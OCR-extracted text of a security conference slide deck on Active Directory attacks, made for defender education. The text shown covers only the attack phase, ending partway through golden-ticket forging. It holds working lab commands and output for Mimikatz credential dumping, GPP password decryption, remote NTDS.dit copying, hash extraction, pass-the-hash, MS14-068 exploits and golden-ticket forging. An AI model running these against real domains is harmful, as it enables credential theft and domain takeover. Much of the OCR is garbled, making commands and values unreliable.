Red vs. Blue:
Modern Active Directory Attacks,
Detection, & Protection

Sean Metcalf

CTO

DAnN Solutions

sean [@] dansolutions . com
http://DAnSolutions.com
https://www.ADSecurity.org

SHARKACON

SUN, SURF, & C SHELLS



http://dansolutions.com/
https://www.adsecurity.org/

About DAn@

*»*Chief Technology Officer - DAn Solutions

**Microsoft Certified Master (MCM)
Directory Services

**Security Researcher / Purple Team
“¢*Security Info -> ADSecurity.org



http://www.adsecurity.org/

Agenda

**|Introduction m
“*Red Team I ==

*Recon «

N/ ‘ 2 minutes 2 minutes

“*Escalate

s Persist
**Blue Team

**Detection
**» Mitigation

© Sean Metcalf



Paradigm Shift: ASSUME BREACH

s According to Mandiant M-Trends 2015 report
“*Intrusion average detection time:
**2013: 229 days
**2014: 205 days (> 6 months!)
‘*Longest Presence: 2,982 days ( >8 years!)

***69% of organizations learned of the breach from
outside entity



Perimeter Defenses Are Easily Bypassed

\'.‘

Message for you, Sir!



Assume Breach Means: Layered Defense




Kerberos TGT Ticket

Ticket-Granting Ticket (TGT)

User Restrictions

Ticket Lifetime

Ticket Flags

Authorization Data




Kerberos Overview

Domain Controller

5
———6 AP REP (opti .
. ptional, y
User’s Workstation

Application Server



Kerberos Key Points

**NTLM password hash used for Kerberos RC4 encryption.
“*Logon Ticket (TGT) proves prior user auth to DC.
*Kerberos policy only checked at TGT creation

*DC only validates user account when TGT > 20 mins.
s»*Service Ticket (TGS) PAC validation is optional & rare.
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Red Team (Offense)




Attacker Goals

4+ Data Access & Exfiltration [*
4+ Email
4+ Shares
4+ SharePoint

+ Persistence ,;, Bl 5
+AutoRun

vowr - HUMBNSSTILL
*powershel THINKIMLOST

- * _* — & & - .l S



PowerShell Overview

4+ Dave Kennedy: “Bash for Windows”

+ Available by default in supported Windows versions
+v2: Win 7 / Win 2k8R2
4+v3: Win 8 / Win 2012
+v4: Win 8.1 / Win 2012R2
4+v5: Win 10 / Win 2016

4+ Leverages .Net Framework
+ PowerShell.exe only an entry point into PowerSheII
4+ Provides access to WMI & COM
+ Microsoft code = whitelisted

+Download & run code in memory




Offensive PowerShell

4+ PowerSploit
4+ Invoke-Mimikatz (updated 2/16/2015)
+ Invoke-TokenManipulation
4+ Invoke-Shellcode
4+ Get-GPPPassword
4+ Persistence

+PowerView
4+ Hunting Sys Admins




“SPN Scanning”: Service Discovery

+SQL servers, instances, ports, etc.
+MSSQLSvc/adsmsSQLAPO1.adsecurity.org:1433

4+ Exchange
+exchangeMDB/adsmsEXCASO1.adsecurity.org

+RDP
+ TERMSERV/adsmsEXCASO1.adsecurity.org

+WSMan/WinRM/PS Remoting
+WSMAN/adsmsEXCASO1.adsecurity.org

+Hyper-V Host
+ Microsoft Virtual Console Service/adsmsHVO01.adsecurity.org

+VMWare VCenter
+STS/adsmsVCO1.adsecurity.org



SPN Scanning for MS SQL Servers with Discover-PSMSSQLServers

Domain : lab. adsecurity.org

ServerName : adsMssQLO0Z. 1ab. adsecurity.org

Port : 983

Instance :

ServiceACCountDN : {CN=svC-adsS0QLSA,0U=TestS5erviceAccounts,DC=1ab,DC=adsecurity,DC=0rqg}
Operatingsystem : {windows Server 2008 R2 Datacenterj

osservicePack : {Service Pack 17}
LastBootup : 3/8/2015 1:07:25 AM
osversion - {6.1 (7601)}

Description : 1Production SQL Server}
SrvAcctUserID : svC-adsSQLSA
SrvAcctDescription : SQL Server Service Account




Getting Domain Admin in Active Directory

4+ Poor Service Account Passwords

4+ Passwords in SYSVOL

+ Credential Theft

4+ Misconfiguration / Incorrect Perms
4+ Exploit Vulnerability




SPN Scanning for Service Accounts with Find-PSServiceAccounts

Domain :
UserlD : svCc-50LAgentOl
PasswordLastSet : 01/03/2015 18:42:

SPNServers : . ] ., ADSAPPSQLO?Z2. lab. adsecurity.or ADSAPPSQLO3. 1

servicePrincipalNames : {M55QLS5vc,/ADSAPPSQLOL. Tab. adsecurity.org:1433, M55QL5vc/ADSAPPSQLOZ. 1ab. adsec
MS50QL5vc ADSAPPSQLD3. 1ab. adsecurity. org:1433}

SPN Directory:
http://adsecurity.org/?page id=183



http://adsecurity.org/?page_id=183

Cracking Service Account Passwords (Kerberoast)

4+ Request/Save TGS service tickets & crack offline.
+ “Kerberoast” python-based TGS password cracker
4+ No elevated rights required! |
4+ No traffic sent to target!

~
PR
User’s Workstation \

Application Server

Reference: Tim Medin “Attacking Microsoft Kerberos: Kicking the Guard Dog of Hades”
https://www.youtube.com/watch?v=PUyhIN-E5MU



https://www.youtube.com/watch?v=PUyhlN-E5MU

Group Policy Preferences (GPP)

4+ Authenticated Users have read access to
SYSVOL

4+ Configuration data xml stored in SYSVOL
4+ Password is AES-256 encrypted

4+ Common credential use cases:

4+ Create Local Users
4+ Scheduled Tasks

4+ Change local Administrator passwords



Exploiting Group Policy Preferences

+The private key is publicly available on MSDN

4 2.2.1.1 Preferences Policy File
Format

2.2.1.1.1 Common XML Schema

2.2.1.1.2 Quter and Inner
Element Names and CLSIDs

2.2.1.1.3 Common XML
Attributes

2.2.1.1.4 Password
Encryption

2.2.1.1.5 Expanding
Environment Variables

2.2.1.1.4 Password Encryption

All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.<3=

The 32-byte AES key is as follows:

de 99 06 eB fc bt &6c c9 fa f4 53 10 &2 0f fe e8
f4 S%¢ 8 06 cc 05 7% 80 20 %p 0% a4 33 be ec 1lb

https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx



https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx

Exploiting Group Policy Preferences

\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\

<?xml version="1.0" encoding="utf-8" ?>
- «<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
- <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name= Administrator (built-in)'
02-18 01:53:01" uid="{DSFE7352-81E1-42A2-B7DA-118402BE4C33}">
<Properties action="U" newName="ADSAdmin fullName="" description=""
cpassword="RI133B2WI2CiI0CaulDtrtTe3wdFwzCiWB5PSAXXMDstchJt3bL0OUieOBaZ/ 7rd(

changelLogon="0" noChange="0" nevertxpires="0" acctDisabled="0" subAuthorty="RID_ADMIN
(built-in)" expires="2015-02-17" />
</User>

PS C:\temp> Get-DecryptedCpassword 'RI133B2WI2Ci1I0CaulDtrtTe3wdFwzCi

#Super@Secure&Password$2015?




The GPP Credential Vulnerability Fix?

+Vulnerability in GPP could allow elevation

New Local User Properties -

of privilege (May 13, 2014) oo | Commen

+MS14-025 (KB2962486) e [

o [ ]
+Install on all systems with RSAT |

Full name:
+ Passwords are not removed from SYSVOL pescrption
Password:
S-Eﬂ]rlt}f w.aming - Confirm Password:

User must change password at next logon

) _ _ . User cannot change password
This preference requires the CPassword attribute, which 15 a known

I . . . . Password never expires
/% security risk. To help protect your envirenment, some actions may not

be available. For further information about CPassword, click Help [ ] Account s disabled
below. Account never expires

5/ g/2014  [El

OK Help

K Cancel Apply Help




Pivoting with Local Admin

4+ Using GPP Credentials:

4+ GPP renames local Administrator account to “ADSAdmin”
4+ GPP sets Password to “P@sswOrd11!”

4+ Connect to other computers using ADSAdmin account
4+ Compromise Local Admin creds = Admin rights on all
4+ Always RID 500 — doesn’t matter if renamed.

4+ Mimikatz for more credentials!



Mimikatz: The Credential Multi-tool

4+ Dump credentials
4+ Windows protected memory (LSASS). *
+ Active Directory Domain Controller database . *

4+ Dump Kerberos tickets
+for all users. *
+for current user.

4+ Credential Injection
4+ Password hash (pass-the-hash)
4+ Kerberos ticket (pass-the-ticket)

+ Generate Silver and/or Golden tickets (depending on
password hash available).

* Requires debug or system rights



Dump Credentials with Mimikatz

User

Service Account

mimikatzC{commandline} # sekurlsa::logonpassuvords

Authentication Id

Seszion =
Uszer Mame H
Domain z
SID -
msu =
= lsernane
# Domain
= LM
# NTLHM
= SHA1
tapky :

* |zernane
= Domain

wdigest :
# Usernane
= Domain

kerhepros :
#* |sernane
#* Domain

ssp =
credman :

Interactive from 2
hansolo

ADSECLAEB
£-1-5-21-147364341 9774954089 -222232

: HanSolo

: ADSECLAB

: beceddeS51becd?21?2e819287a75dAbhA375a
: 269cBcb63ab23bZ2eBo2dfd861cTh82818
: 66Addifebbh?4f321fbbhbd58hfc1?a41892

: HanSolo
: ADSECLAB
=* Password :

: HanSolo
: ADSECLAB
=* Password :

: HanSolo
: LAB.ADSECURITY .ORG

# Pazsword :

3 0888494 <0BAADOAG:A04dadee

Falcon2%?

Falcon99*

Falcon2%t

Authentication Id
Ses=zion

Uzer Manme

Domain

SID

msy =
* zername
#* DNomain

= NTLM

= SHA1
tspkg =

* Username
»* Domain

#* Paszword
wdigest =

* lzsername
* DNomain

=* Password
kerbheros =
=* |zername
* [omain

#* Paszword
ssp -
credman =

B ; 2858348 <AUARUAA:BAB2bh9d64 )
Service from B

suc—SQLDBEnginefdl

ADSECLAB
S—1-5-21-1473643419-774254882-22223.

suc—SQLDBEnginedl

ADSECLAB
dBabfcBch68?f4cdc8757a1411497876
467fA516e6155eedbB66882YhHaddahbe:

suc—SQLDBEngine#dl
ADSECLAB
Thi=zI=AGoodPassword?9?

syc—SQLDBEnginefdl
ADSECLAB
Thisl=AGoodPassword?9?

auc—SQLDBEnginefdl
LAB.ADSECURITY . ORG
ThizI=z=AGoodPassword?9?



Default Logon Rights to Domain Controllers

4+ Enterprise Admins (admin on all DCs in the forest),

+ Doma | N Ad m | ns Allow log on locally Properties

4+ Administrators -ocal Secury Seting | Explan
a' Allow log on locally

4+ Backup Operators =7
4+ Server Admins

Account Operators

+ Account Operators Adminisirators

Backup Operators
Print Operators

+ Print Operators Server Operator

4+ Other groups delegated in your environment



Dumping AD Domain Credentials

4+ Dump credentials on DC (local or remote).
4+ Run code (Mimikatz, WCE, etc) on DC.
+Invoke-Mimikatz on DC via PS Remoting.

4+ Get access to the NTDS.dit file & extract data.
4+ Copy AD database from remote DC.

4+ Grab AD database copy from backup.
+ Get Virtual DC data.



Dump AD Credentials with Mimikatz

mimikatz{powershell) # lsadump::samrpc /patch
Domain = ADSECLAB / S-1-5-21-1473643419-774954089-2222329127

RID : 000001f4 (500)

User : Administrator

LM -

NTLM : 6740d9clcab7f73d298dc3d94163543d

: 000001F5 (501)
. Guest

. 000001F6 (502)
: krbtgt

7e2a0e20851d0229F2489210b657bede

: 000003e8 (1000)
: admin

: 7c08d63a2f48f045971bc2236ed3f3ac

: 00000452 (1106)
: LukeSkywalker

; 177af8ab46321ceef22bdeB8376fF2dbay




Dump LSASS Process Memory

m1m1kat“{nummand11ne} # zekurlsa iminidump c:stempslsass . dmp
Switch to MINIDUMP : ‘c:stemphlsass.dmp!

d i1 windows Task Manager
_ File Options View Help

mimikatz(commandline? # sekurlsa::logonpasswords
Opening = ‘castempslsass.dmp’ file for minidump...

A ; 218743 {(AAHAAAAA:BA8A3573f »

! .Apdimﬁuns Processes |Ser1.rices I Performance I Mety

Image ... = |L.Iser Namel CF'L.I| Memary (... | Authentication Id

Session ; Interactive from 1
host. ADSAd... 00 1,556 K - L]
cornest.ExE User Hame : ADSAdministrator
CSrSs.exXe SYSTEM Qo 4K Domain - ADSECLAR
CS55.EXE SYSTEM 00 1,020 K T e ; ADEDCA?
dfsrs.exe SYSTEM 00 Skl Logon Time : 5/38-2015 11:81:84 PH
dfssvec.exe SR LL N S I D : 8-1-5-21-1387203482-2957264255-8289728724-548
dns.exe SYSTEM ao 19,620 K
dwm.exe aDsad.., aa 996 K
explorer.exe ADSAd... 00 16,024 K DE FI dministratopr
ismsery, exe SYSTEM 00 1,400 K 1 DSECLAB
T L2cacbY419a%a226eYedabff?786d116
lkm.exe  2pen File Location 1 200K cHB8d63Ia2f48fA452 71 bec2236ed3f3ac
Microsoft  End Process 9,016 K H ' 0T Do I ELEE L 2 o e D
e I Ak * lsername ADSAdministrator
MMC.EXE  [ehug 13,532 K - ar AT
msdte. & LIAC irtuslization eHK «[Password : Password???
powershe G Cump File 34.698 K o
M Show Set Priority . * Username = ADSAdministrator
. * Domain : ADSECLAB
T Properties #* Password = Password???
|Prm:e55e5: ¥ Goto Serviee(s) |F‘hysjml M kerheros =

* Uaername : HDEHdmlnlatPatuP



Remotely Grab the DIT!

PS5 CislWindowsssystem32? wumic Anode:adsdcH2 Auser:ADSECLABshansolo ~password:Falcon??! process call create "cmd ~c wvssadm
in create shadow for=c: 2>&1 > c:-“~wuss.log"

Executing ¢Win32_Process>»—>Created

Method execution successful.

Out Parameters:
instance of PARAMET ERS

i 1 - 1s4p; Process call create "cmd /c vssadmin create shadow /for=c:

Processl

- ReturnlValue = H@; 2?&1"

PS8 C:xWindowsssystem3d2> wmic Anode:ADSDCAZ Auser:-ADSECLab“HanS%o0lo ~Apassword:Falcon???! process call create "cmd Ac copy
“PSGLOBALROOT s DevicesHarddizklUolumeShadowCopyl “HYindows“NTDE“NTDS .dit C:windows“temp~MNTDS.dit 2>&1 > C:iswss2.log"
Executing <“Wind2_Process>—>Create??

Method execution successful.

Out Parameters:
instance of PARAMET ERS

: ProcessId = 604; Copy NTDS.dit file from VSS snapshot to DC's c: drive

Returnlalue = @;
-
PS8 C:xUWindows“system32> wmic ~node:ADSDCAZ Auser:-ADSECLab~HanSolo ~spassword:=Falcon???! process call create "cmd ~c copy
NENGLDBHLRDDT\DEUice\HarddiskUulumEEhaduwﬂupyl\Hinduws\ﬂystemBE\cnnfig\EHETEH C:svwindowsstempsSYSTEM. hive 23&1 > Ciswss2
i Dﬂ'"
Executing <Win32_Process)—2Createl)
Method execution successful.
Out Parameters:

gnetance of TANIEIERS - Copy SYSTEM registry hive from VSS to DC's c: drive

Proces=Id = 1844;
ReturnlUalue = @;
¥

PS C:sWindowsssystem32> copy “sadsdeB2sciswindowsstempsntds . dit c:stemp
PS C:sWindowsssystem32> copy ssadsdeB2sciswindowsstempssystem.hive cstemp




Remotely Grab the DIT using Pass The Ticket

c:wTemp2umic Jauthority:kerberos tADSECLABSADSDCAZ'
czadmin create shadow Afor=c: 2>&1"

Executing <Win32_Processi—2>Created

Method execution successful.

Out Parameters:
instance of PARAMET ERS

o
ProcessId = 1256;

c=sTempXumic saunthority:"kerbheroz tADSECLAB~ADSDCHAZY Anode:ADSDCHZ pro
IS GLOBALROOT“Devices~HardDisklUolumeShadowCopylsWindows“NTDS . dit =]
Executing (Win32_Process>»—>Create(l

Method execution successful.

Out Parameters:

instance of PARAMET ERS

£
ProcessId = 2156;
ReturnlValue = H@;
k-



Instead of VSS, why not leverage NTDSUtil?

PS C:\Users\Administrator.ADSECLAB> ntdsutil "ac 1 ntds"” "1fm" "create full c:\temp” q g
: N1ndows\system32xntdsuti1.exe: ac 1 ntds
Active instance set to "ntds".
:\Windows'\system32\ntdsutil.exe: 1fm
1fm: create full c:\temp
reating snapshot...
Snapshot set {5113733a-e9ba-430f-a320-c1168d2f62e2} generated successfully.
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} mounted as C:\$SNAP_201503242343_VOLUMECS)
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} 1s already mounted.
Initiating DEFRAGMENTATION mode...
Source Database: C:\$5NAP_201503242343_VOLUMECS\Windows\NTDS\ntds.d 1t
Target Database: c:\temp\Active Directory\ntds.dit

Defragmentation Status (¥ complete)
10 0 80 90 100

opying registry files.

opying cC: \temp\reg1stry\SYSTEM

opying c:\temp\registry\SECURITY
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} unmounted.
I;M media created successfully in c:\temp
1fm: g

:\Windows'\system32\ntdsutil.exe: g




Finding NTDS.dit on the Network

4+ Are your DC backups properly secured?

+Who administers the virtual server hosting
the DCs?

+ Are your VMWare/Hyper-V host admins
considered Domain Admins?

Hint: They should be.



Dump Password Hashes from NTDS.dit

:/opt/impacket-0.9.11# secretsdump.py -system /opt/ntds/system.hive -nt
ds /opt/ntds/ntds.dit LOCAL
Impacket v0.9.11 - Copyright 2002-2014 Core Security Technologies

[*] Target system bootKey: 0x47f313875531b01ed41a749186116575b

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] Searching for pekList, be patient

[*] Pek found and decrypted: 0xc84elce/alals/df160a8d8T9b86d98c

[*] Reading and decrypting hashes from /opt/ntds/ntds.dit

ADSDC02%:2101 :aad3b435b51404ececaad3b435b51404ee :eaacd45916664Fe083b734a18398c9704e:
ADSDC01%$:1000:aad3b435b51404eeaad3b435b51404ee:400c1cl111513a3a988671068ef7 fee58:
ADSDC05%:1104:aad3b435b51404ececaad3b435b51404ee :aabbc5e3df7bfllebcadl 8b07a065d89:
ADSDC04%$:1105:aad3b435b51404eeaad3b435b51404ee:840c1a%91daz2670b6d5bd1927e6299127 .
Guest :501 :aad3b435b51404ecaad3b435b51404ee:31dbc fe@dl6ae931b73¢c59d7e0c089cO: : :
Administrator:500:aad3b435b51404ecaad3b435b51404ee:/c08d63a2f481045971bc2236ed3f
gt :502 :aad3b435b51404ecaad3b435b51404ee:8a2fladcdd518a2e515780021d2d1/8a: : :
lab.adsecurity.org\Admin:1103:aad3b435b51404eecaad3bd435b51404ee:/c08d63a2t4810459
lab.adsecurity.org\LukeSkywalker:2601 :aad3b435b51404ecaad3b435b51404ee:1/7/7af8ab4d
lab.adsecurity.org\HanSolo:2602:aad3b435b51404eecaad3b435b51404ee :269c0cb63ab623b2e




Pass The... Credential

4+ Pass the Hash
4+ Access resource with username & NTLM hash

4+ Pass the Ticket
4+ Steal Kerberos ticket & reuse to access resource.

4+ Over Pass the Hash
4+ Use the NTLM hash to get a Kerberos Ticket!



Over Pass the Hash
4+ Get the NTLM password hash and use to get Kerberos ticket(s)

mimikatz{(commandline) # sekurlsa::pth /user:LukeSkywalker /domain:lab.adsecurity.org /ntlm:177af8ab46321ceef22h4e83

LukeSkywalker
lab.adsecurity.org
cmd .exe
177af8abh46321ceef22h4eB8376f2dbha?
2936
2900
B ; 16880816 (AANBALRAR:AA19c1dB)
_msvl O - data copy @ AAPBBARABAADDAARA : OK ¢
\_ kerberos — data copy @ 008BAABAA171DD58
_ aes256_hmac -> null
?iiiﬁg;{;'ﬁzg 0]>( null Administrator: C:\Windows\system32\cmd.exe
rc4_hmac_old OK icrosoft Windows [Uersion 6.1.7601]
rc4_md4 OK opyright (c) 2809 Microsoft Corporation. All rights reserved.
rc4_hmac_nt_exp OK
rc4_hmac_old_exp OK C:\Windows\system32 >vhoani
*Password replace -2 null Badswurk?h\adsadmin

imikatz # C:\Windows\system32>klist
Current Logonld is 8:8x19c1d@
ached Tickets: (@)

C:\Windows\system32>net use \\adsdcB2.labh.adsecurity.orgNadmin$
The command completed successfully.




MS14-068: (Microsoft) Kerberos Vulnerability

+MS14-068 (CVE-2014-6324) Patch released 11/18/2014

4+ Domain Controller Kerberos (KDC) Service didn’t correctly
validate the PAC checksum.
4+ Create a Kerberos “Golden Ticket” using a valid AD user account.

.';“ Gavin Millard
.~ MS14-068 in the real world.
Wil

Alla ¥ "Welcome Captain. Would you like a coffee before you take off"

1304 RAP - DEN LAS i, F1G POUNITED FLIGHT D3
1ST LEG NOFER AREN
|
AZZ S b ‘ 23A Coach
oaziA ' LAST NAME,
TRLINES INC
3 15 | lllllllllllllllllllllll |
P 010
» - .

2l - o 3 4@m

WUNITEDBOARDING PASS WUNITED

http://adsecurity.org/?tag=ms14068

3 31


http://adsecurity.org/?tag=ms14068

MS14-068 (PyKEK 12/5/2014)

c:sTempspykekms14-B68.py —u hohafett@lah.adsecurity.org —p Password?9?Y —=s §5-1-5-21-1473643419-774954089-2222]
291271617 —d adsdcB2.lab.adsecurity.orqg

[+]1 Building AS-REQ for adsdcB2.lab.adsecurity.org... Donet

[+] Sending AS-REQ to adsdc®2.lab.adsecurity.org... Donet

[+] Receiving AS-REP from adzdcB?2.lab.adsecurity.orq... Done!

[+]1 Parsing AS-REP from adsdcH2.lab.adsecurity.org... Done?

[+] Building TGS-REQ for adsdcB2.lah.adsecurity.org... Donet

[+] Sending TGS5-REQ to adsde®?.lab.adsecurity.orqg... Done?

[+] Receiving TGE-REP from adsdcHB2.lab.adsecurity.oryg... Done!

[+] Parsing TGS-REP from adsdc@2.lah.adsecurity.org... Done?

[+] Creating ccache file *TGI_hobhafett@lah.adsecurity.org.ccache' ... Donet

mimikatz<{commandline> # kerbero=z:iiptc cistempspykeksIGT_bobhafett(Plabh.adsecurity.org.ccache
Principal = (81> : bobhafett ; @ LAB_ADSECURIIY.ORG

Data A
Start/End- MaxRenew: 2-8-2015 7:54:18 PHMH ;5 27,2015 5:54:18 AM ; 2-15%-2015 7:54:13 PM
Seruvice Mame (@1> : krbtgt ; LAB_ADEECURIIY.ORG :; @ LAB.ADSECURITY .ORG
Target Mame (B1) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY .ORG
Client Mame <B1> : hohafett ; @ LAB.ADSECURITY.ORG
Flag=s 5SHaH@H80H : pre_authent ; renewabhle ; proxiable ; foruwardabhle ;
Seszsion Hey BxUHHEAUHALY? — rc4d_hmac_nt
34f2a3?4332hﬂ4??c5195fdacﬂE?EicE
Ticket : Bx00B0BEEE — null i kvno = [...1
# Injecting ticket = QK

mimikatz<commandline> # exit
Bye?

c :sTempspukek>net use “NadsdcB2.lab.adsecurity.orgsadmind
The command completed successfully.




MS14-068 Kekeo Exploit

PS5 C:stempskekeo?> .msl14B68.exe Adomain:lab.adsecurity.org ASuseriJoelser Apassword:Password???! Aptt

- B . M5314-868 POC 1.1 (xB6> release "Kiwi en C" {Apr 197 2015 B@:51:32>
HE R,
Hit 7 ~ HHE % = =
it ~ ~ I Benjamin DELPY ‘gentilkiwi® ¢ benjaminPgentilkiwi.com »
i v HE' http:/blog.gentilkiwi.com Coe.eonl
' HuHER' A with thanks to Tom Maddock & Sylvain Monne = * =~

[KDC]1 ‘ADSDCAL . lab.adsecurity.org’ will bhe the main server

[AUTH] Impersonation

[KDC]1 3 serverds)> in list

[SIDARID]1 *Joelszer @ lab.adsecurity.org’ must be translated to SIDARID

Joelsepr

lab.adsecurity.org
SR

fiiI5—21—1533??3191—14@@@3445—3253234411
TcH8de3a2f48f0459 71 be223bed3fdac <rcd_hmac_nt?
ticket #% Pass The Ticket ==

[level Reality CAS—REQ>

[level 21 Uan Chase C(PAC TIME>

=* PAC generated

Ev3 PHE llllllsignedllllll

[level 31 The Hotel CTGS—REQ>»

oL A ¥

* ADSDCWT = KD HR_SUHTYPE_NOSITPT ?

= ADEDCAZ : [level 51 Limbo * <KRB-CRED» : = Ticket successfully submitted for current session

Ito 1niect BHEH)
ntempskekeo s net use Nsad

he command cumpleted successfully.

usep
domain
passuword
i |

rid

key

k.
[




MS14-068 Kekeo Exploit — Packet Capture

Mo, Time Source Destination Protocol Info
1 0.00000000172.16.11.111 172.16.11.11 KRB S AS-REQ
2 0.00092300172.16.11.11 172.16.11.111 KRE Error: KRBSKDC_ERR_PREAUTH_REQUIRED
3 0.03833100172.16.11.111 172.16.11.11 KRES AS-REQ
4 0.03988400172.16.11.11 172.16.11.111 TCP [TCP segment of a reassembled PDU]
5 0.04105500172.16.11.1311 172.16.11.11 KRES TGS5-REQ
6 0.04263000172.16.11.11 172.16.11.111 TCP [TCP segment of a reassembled PDU]
f 0.05740400172.16.11.111 172.16.11.11 KRB 5 TGS5-REQ
8 0.05981600172.16.11.11 172.16.11.111 TCP [TCP segment of a reassembled PDU]
9 0.06090200172.16.11.111 172.16.11.11 KRB 5 TGS5-REQ
10 0.06179500172.16.11.11 172.16.11.111 KRES TG5-REF
11 0.08112000172.16.11.111 172.16.11.11 KRB 5 AS-REQ
12 0.08241400172.16.11.11 172.16.11.111 KRBS AS-REF
13 0.08309700172.16.11.111 172.16.11.11 KRB 5 TGS5-REQ
14 0.08394900172.16.11.11 172.16.11.111 KRBS TGS5-REF
15 0.08495400172.16.11.111 172.16.11.11 KRB 5 TGS5-REQ
16 0.08560900172.16.11.11 172.16.11.111 KRBS KRB Error: KRBSKDC_ERR_SUMTYPE_MNOSUPP

0.08790800172.16.11.111 172.16.11.12 TGS5-REQ

, 0.08896700172.16.11.12 172.16.11.111 TG5-REP

19 20.4649410172.16.11.111 172.16.11.11 KRE > TGS5-REQ
20 20.4677610172.16.11.11 172.16.11.111 TCP [TCP segment of a reassembled PDU]

21 20.4092200172.16.11.111 172.16.11.11 KRE 5 TGS5-REQ
22 20.4708850172.16.11.11 172.16.11.111 KRB5S TGS5-REP



User to Admin in 5 Minutes?
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“Victims quickly learned that the path from a few
infected systems to complete compromise of an

Active Directory domain could be incredibly
short.”

“Kerberos Attacks: After gaining domain
administrator privileges, attackers used the
Kerberos golden ticket attack to authenticate as

any privileged account—even after domain
password resets.”

- Mandiant M-Trends 2015 report



Forging Kerberos Golden/Silver Tickets

4+ Requires KRBTGT pw hash / service account pw hash.
+Forged TGT (Golden Ticket) bypasses all user restrictions.
+ Create anywhere & use on any computer on the network.

+ No elevated rights required to create/use.
+Impersonate existing user.
+Invent a fictional user with elevated rights.
+Spoof access without changing group membership

+ User password changes have no impact on forged ticket!



KRBTGT: The AD Kerberos Service Account

4+ KRBTGT account: disabled and not visible.
+Sign/encrypt AD Kerberos tickets

4+ Pwd set when domain created & (almost) never changes
4+ Password changes when DFL -> 2008 (or newer).

4+ Current & Previous Password valid for Kerberos tickets
+ KRBTGT password exposed? Requires changing twice!
+RODC Kerberos Account: KRBTGT _##H#HtH#.




KRBTGT: The AD Service Account

P5 C:%> get-aduser -filter {name -like "krbtgt="} -prop Mame,Created,PasswordLast5et,msD5-KeyVersionNumber ,msD5-

nkB1

reated : 2/16/2015 10:36:11 PM

D1 stinguishedName : CN=krbtgt,CN=Users,DC=1ab, D =adsecurity,DC=0rg
Enabled : False

G1wvenName :

m=D5-KeyvVersionNumber : 2

Mame : krbtgt

ObjectClass 1 user

ObjectGUID : 91c05e7f-cec2-4698-990d-327cc3023F3cC
PasswordLastSet : 2/16/2015 10:36:11 PM

SamAccountMName : krbtgt

SID : 5-1-5-21-1387203482-2957264255-828990924-502
aurname :

UserPrincipal Mame

reated : 2/19/2015 9:21:11 PM™
D1 stinguishedMame : CN=krbtgt_27140,CN=Users,D=1ab,D=adsecurity,D=0rg

Enabled : False
G1venName :
m=D5-KeyVersionNumber : 1

m=D5-KrbTgtLinkB1 : {CN=ADSRODC1 ,0U=Domain Controllers,DC=1ab,D=adsecurity,=0org}
Mame : krbtgt_27140

ObjectClass T user

ObjectGUID : cedaeabb-feeb-460b-8b02-7d1T93f0574a

PasswordLast5et : 27192015 9:21:12 PM

SamAccountMName : krbtgt_27140

aID : 5-1-5-21-1387203482-2957264255-828990924-1107

surname -

UserPrincipal MName



The Golden Ticket (Forged TGT)

+Encrypted/Signed by KRBTGT (RID 502).
4+ Bypasses Smart Card authentication requirement

4+ Golden Ticket options:
4+ Impersonate existing Domain Admin
4+ Create Fictitious user
4+ Spoof access by adding groups to the ticket
+Impersonate C-level executive access

+Where are the crown jewels?



Golden Ticket (Forged TGT) Communication

Domain Controller

Application Server



Forging a Golden Ticket: KRBTGT NTLM Hash

mimikatz({commandline) # lIsadump::1sa /name:krbtgt /inject
Domain : ADSECLAB / 5-1-5-21-1387203482-2957264255-828990924

. 000001F6E (502)
: krbtgt

= Primary
v :
NTLM : cdch3c282915380a0975017565 /eadlcy

mimikatz(commandline) # sekurlsa::krbtgt

urrent krbtgt

5 credentials

= " C&_ - cdc53c282915380a09750F565 7eadlcy
= i — ] i sl [} 5 g L
= Ircd mdd - cdch3c282915380a0975075657eadlcy
= aesshb_hmac - R/ Tallc9 /060887 391az2b2afe2bsTc740c10e91438d6c72eda
= aesl28_ hmac - ae090644436606995Cc5261286371bF30
8 credentials

FCd__hmac_n - bOfc53bdabats99659d35T425b878C22

rcd_hmac_nt - 9028e28c02701864c24d50ate3e5355d

sl ul [# — [l i f=lar= sy M i Fiy
rcd mdd - bOfc53bdabart99659d351425b878c22
aess5b_hmac - 30007dlcs2cad3i9dZ205b2b54bel /0cO80d4d0581Fe8l17162a830c9124cef37b0

aes128 hmac - fc76el1057be20baz273cBac2B7 771t 7er



Forging a Golden Ticket: Impersonate Valid DA

mimikatz{commandline} # kerbheros::golden Aadmin:LukeSkywalker domain:lab.adsecuritv.orqg Aid:z26H1 .
22-2957264255-8289780924 krbtgt-BaZ2fladcdd51?aZ2e51578082142d178a Astartoffset:B Aendin:=6H88 Areneum.
Uzser LukeSkywalker

Domain lab.adsecurity.org

) =1=-5-21- 133?2@3432 2957264255-828998924

User Id 2661
roups 1
ServiceKey
Lifetime

—» Ticket

sal — »cd_hmac_nt
2:31:=21 AM ; 3-19-2815 2:31:21 PH

%% Pass The Ticket w

PAC generated

PAC =igned
EncTicketPart generated
EncTicketPart encrypted
KrbCred generated

I I

olden ticket for ‘Lukeﬂkywalker [ lah.adsecuritg.urg‘ succEEEFully submitted for current session

mimikatz{commandline) H# exit
Byet

PS C:xlUszers~Joelser> wvhoami
adseclabsjoeuser

PS5 C:slUserssJoelsersr _



Forging a Golden Ticket: Fictional User

mimikatz(cummandllne) #f kerberos::igolden sadmin:Darthlader domain:lab.adsecurity.org <id:2601 A=zid:=85-1-5-21-1387203482-
595?254255—- - g rhtgt:8a2fladcdd512a2e5157880021d2d178a Astartoffzet:B sendin:6B8 Arenewmax:-1H0HEA ~ptt

SEePr
Domain

SID

User Id
Groups Id
ServicelKey
Lifetime
—» Ticket

ity . org

—21 1387203482-2957264255-828970%924

L12 52A 518 519
B8a2f1adcdd519a2e515788021d2d178a — »c4_hmac_nt
3-12-2015 9:44:88 PH ; 3-13-20015 7:-44:88 AM ; 3-19-2815 ?:44:88 PH
#% Pazg The Ticket ==

